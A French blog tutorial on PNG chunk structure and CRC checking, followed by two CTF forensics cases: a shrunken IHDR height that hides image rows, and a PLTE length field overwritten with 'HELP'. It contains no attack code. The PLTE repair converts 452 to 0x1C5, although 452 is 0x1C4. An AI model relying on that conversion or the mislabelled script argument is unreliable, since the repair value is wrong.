Passons maintenant à la constitution d’un chunk. Tous les chunks n’ont pas la même longueur de données. Certains ne sont constitués que de 1 bit de donnée, d’autres peuvent prendre les 3/4 de la longueur du fichier complet. Donc dans cette partie nous allons voir de quoi est constitué un chunk standard. Il faut noter qu’un chunk est limité à (2³¹)-1 octets.

Un chunk c’est constitué de 4 parties distinctes:

La taille de la donnée stockée dans le chunk (sur 4 octets), 0 étant valide. Le checksum n’est pas compté dans la taille du chunk.
Le type de chunk: c’est le nom qui identifie le chunk (sur 4 octets), composé de lettres ASCII (A-Z et a-z) ou de nombre décimaux correspondants ( entre 65-90 et 97-122).
Les données contenues dans le chunk (peuvent être de longueur 0)
Le CRC (Cyclic Redundancy Check) ou checksum, calculé a l’aide d’un algorithme. Cette valeur calculée sert à déterminer si il y a eu des erreurs lors de transmission. Elle s’appuie sur les valeurs précédentes du chunk : les données et le type de chunk.

Sur ces 4 points, il ne nous reste plus qu’a détailler le checksum et son algorithme.

La fonction polynomiale permettant de le calculer est la suivante:

x³²+x²⁶+x²³+x²²+x¹⁶+x¹²+x¹¹+x¹⁰+x⁸+x⁷+x⁵+x⁴+x²+x+1

Cette fonction polynomiale est utilisée sur un registre de 32 bits, tous initialisés à 1 au démarrage. On prend donc les données du chunk par blocs de 32 bits, et on calcule au fur et a mesure grâce au polynôme.

Voici un exemple concret sur un chunk, le cas d’un chunk gAMA:

Après avoir ouvert l’image sur notre éditeur hexadécimal favori (moi c’est HxD sur Windows), voici ce que l’on voit:

Soit en Hexadécimal:

On peut donc découper le chunk de cette manière:

Observons un moment l’hexadécimal:

00 00 00 04 : C’est la longueur de la donnée stockée dans le chunk, soit ici 4 octets de données.
67 41 4D 41 : C’est le nom du chunk, ici gAMA.
00 00 B1 8F : c’est la donnée stockée dans le chunk.
0B FC 61 05 : c’est le CRC ou checksum correspondant à la donnée.

Calcul du CRC:

Voici un exemple de script python permettant de calculer le CRC “0B FC 61 05” (je ne vais pas détailler l’utilisation de fonction polynomiale ici car c’est un standard bien détaillé sur internet (ici par exemple) ).

import struct, zlib
def test_chunk(crc, tag, data=''):
    checksum = zlib.crc32(data) & 0xffffffff
    print(hex(checksum))
    calc_crc = checksum
    print(crc == calc_crc)

test_chunk(0x0BFC6105,"sRGB", struct.pack("!I",0x67414D41) + struct.pack("!I",0x0000B18F) )

En retour, l’algorithme nous dit si le CRC entré est identique à celui calculé (ici c’est le cas).

Pour rappel, le checksum est calculé avec le type de chunk et la donnée du chunk (d’où le passage en paramètre de l’hexadécimal 67 41 4D 41 00 00 B1 8F uniquement).

Oké daque, mais qu’est ce qui est nécessaire et suffisant pour constituer une image ?

Très bonne question ! et la réponse est simple, une image basique est constituée de 4 choses:

Le magic number sinon le fichier n’est pas identifiable.
Un chunk IHDR définissant les propriétés principales de l’image (longueur, largeur etc.).
Un chunk IDAT contenant de la donnée (ou non) pour remplir l’image.
Un chunk IEND pour dire “Oh ééé ! stop le fichier s’arrête là !”

3. Cas concrets souvent repérés en stéganographie

Dans ce chapitre on va parler stéganographie (bon d’accord les 3/4 c’est plus du forensic que de le stega, mais c’est certifié sans guessing), alors si vous n’aimez pas ça, accrochez vous mdr. On va détailler des cas pratiques sur des types de challenges récurrents en forensics/stéga, mais aussi des cas de la vraie vie véritable. Je vais aussi vous présenter un tool magique pour le traitement des PNGs, il est gold celui-là no joke, et on va l’utiliser pour tous les cas pratiques.

Des cas en vrac, des exemples à la con

Tool magique: Tweakpng.exe certifié no virus lol

Je rajouterais des cas au fur et à mesure, pour le moment j’en ai fait que deux ! (flemme).

1. le chunk IHDR modifié

Lorsque l’on attaque un chall de stéga avec pour seul sujet un PNG, il n’est pas rare de tomber sur un cas très répandu: le chunk IHDR modifié. Souvenez vous, ce chunk permet de définir les propriétés de l’image: longueur, largeur et autres. Pour bien comprendre ce qu’il va suivre on va détailler rapidement comment il est possible de comprendre le “remplissage” d’une image png (je dis “possible” car c’est une interprétation personnelle).

Imaginez que le chunk IHDR c’est une boite étanche (notre image), et que les chunk IDAT c’est un liquide qui va à l’inverse de la gravité terrestre (car une image PNG se remplit de haut en bas).

Dans un cas normal voici ce qu’il se passe lorsque l’on “verse” les IDAT dans la boite IHDR:

Un chunk IDAT rempliera plus ou moins l’image selon sa taille.

lorsque tous les chunk IDAT sont positionnés dans l’image on a normalement ce qui suit:

Maintenant, imaginez que je demande à mon IHDR de réduite la taille de notre boite, voici ce qu’il se passe:

La partie visible par un visionneur de photo sera le cadre noir, mais il y aura “trop” d’IDATs et ils vont “déborder” (et seron donc “hors champ” !). Donc vu qu’ils ne seront pas visibles, une partie de l’image est cachée ! Et normalement aucune alerte n’est affichée par le visionneur d’images.

Résolution du cas:

Voila une image que j’ai modifié de manière à ce que “la boite soit modifiée” (vous pouvez la télécharger directement en clic droit):

On va donc l’ouvrir dans Tweakpng, et double cliquer sur IHDR. on définit ensuite la hauteur de l’image (Height) à 570 (vous pouvez mettre la hauteur que vous voulez, cela n’a aucun impact ! Normalement lors des challenges je met 1080 personnellement), on sauvegarde, et voici ce qui apparaît:

N’hésitez pas à noter l’inspiration pour le texte /20 svp.

N’essayez pas de modifier la valeur de la largeur de votre image sinon il va se passer ceci :

Autrement dit, un beau bordel ! exemple avec notre image: passage de 512 de largeur à 1024, on “dédouble” notre image ! Même si c’est très moche.

Cas n°2, les headers foirés sur un fichier corrompu

Voici le fichier: wrong.png

Lorsqu’on l’ouvre avec TweakPNG, on se prend un warning assez foireux:

Qui nous dit que notre fichier et pété sur un chunk (mais sans nous dire lequel, personne n’est parfait). Une fois OK cliqué, voilà ce dont on dispose :

Soit, pas grand chose, on a même pas le minimum requis pour une image valide. C’est dû à ce fameux chunk foireux ! On dégaine donc HxD pour analyser l’hexadécimal après le dernier chunk valide (ici le dernier étant gAMA):

Non de zeus ! les 4 octets servant à définir la longueur tu chunk PLTE ont été remplacés par “HELP” ! Fuck !

Donc on a deux solutions, faire sauter le chunk PLTE (ce qui va accessoirement bousiller toute l’image, vous allez voir c’est drôle), soit compter les octets nécessaires au chunk pour être valide ! Pour l’exemple on va faire les deux solutions.

1. On fait tout sauter

Très bien, essayons d’identifier le prochain chunk après “PLTE”. Pas mal de lignes après (offset 213) on voit ceci :

Chouette, donc on conserve les 4 octets définissant la taille du chunk tRNS et on fait tout sauter entre “HELP” et ces 4 octets (de l’offset 76 à l’offset 20E inclus).

Après sauvegarde, voici ce qu’il se passe lorsque l’on recharge le fichier dans TweakPNG:

Youpi ! bon cette image est tirée d’un challenge en plusieurs étapes lors d’un CTF, son contenu nous importe peu !

Attention Avec cette méthode vous allez bousiller l’image ! Il est même probable que vous ne voyiez pas ce qu’il y a sur l’image ! Si vous voulez révéler ce qu’il y avait à l’origine, chargez la sur Aperisolve.fr (cc @Zeecka si tu passes par là 😛 ), un coup de LSB sur les pixels devrait faire apparaître le contenu de l’image d’origine (c’est le cas ici, car on a touché à la palette des couleurs, donc notre image est noire car le décodeur PNG ne sait pas comment afficher les couleurs), sinon attelez vous à la partie chiante, mais drôle, qui suit, on va faire ça proprement.

Voici le résultat d’un LSB via le site sur notre image salement corrigée (et qui est complètement noire à la sortie de notre correction):

2. On répare le chunk PLTE

Dans cette step, on va s’appuyer sur les connaissances que j’ai essayé de vous apporter dans les chapitres précédents.

Commençons par identifier le CRC (checksum) du chunk. Il s’agit des 4 derniers octets avant le chunk suivant (à partir de l’offset 20E):

Donc, il ne nous reste plus qu’à prier pour que l’auteur du challenge ait seulement modifié la longueur du chunk sans en altérer les données ou le CRC, sinon c’est un poil plus complexe.

Voilà donc l’ensemble des données contenues dans le chunk:

Soit une longueur de 20A₁₆-46₁₆ = 452₁₀ ! (merci HxD).

Donc 452 décimal converti en hexadécimal, ça donne: 0x1C5, ce qui donne 0x000001C5 avec le bon padding. On remplace donc “48 45 4C 50” (le fameux “HELP”), par “00 00 01 C5”. On sauvegarde et on ouvre l’image avec tweakPNG:

Youpille

Et si on ouvre l’image directement avec notre visionneur de photo favori, on a notre image corrigée avec ses vraies couleurs 🙂

On peut également visionner la palette de couleurs définie à l’origine pour cette image grâce à tweakPNG:

C’est parce que cette palette était manquante que l’image était noire dans la méthode précédente. Mais encore une fois, un LSB depuis le site Aperisolve.fr (ou avec un tool adapté cf: mon Github) sur les trois couleurs des pixels permet de voir le contenu essentiel de l’image, si il nous est impossible de corriger le chunk proprement.

Bon encore une fois, cet exemple est tiré d’un challenge en plusieurs étapes d’un CTF 😛

Voilà les amis, j’espère que je vous ai au moins appris un truc ou deux ! En attendant, merci d’avoir eu le courage de lire cet article 🙂

La bise !

Explanations

6 mins
5 ans
835 mots
15

Taggedbruteforce, Cofee Time, Hack, Hacking, Hardnested attack

WriteUp IRL Hacking – Le porte-monnaie NFC “””sécurisé”””

Ce “challenge” IRL est exposé ici à titre d’information. Je ne suis pas responsable de l’utilisation que vous ferez de ce writeup (faites pas les cons 😉 ). Aussi, pour des raisons de confidentialité, […]

Explanations

4 mins
5 ans
556 mots
2

Pixel Value Differencing (PVD) – Explications

Présentation de la méthode de Pixel Value Differencing (PVD), explications en Français. Cette méthode est généralement associée à de la stéganographie. En effet, elle permet de cacher séquentiellement de la data dans une image. […]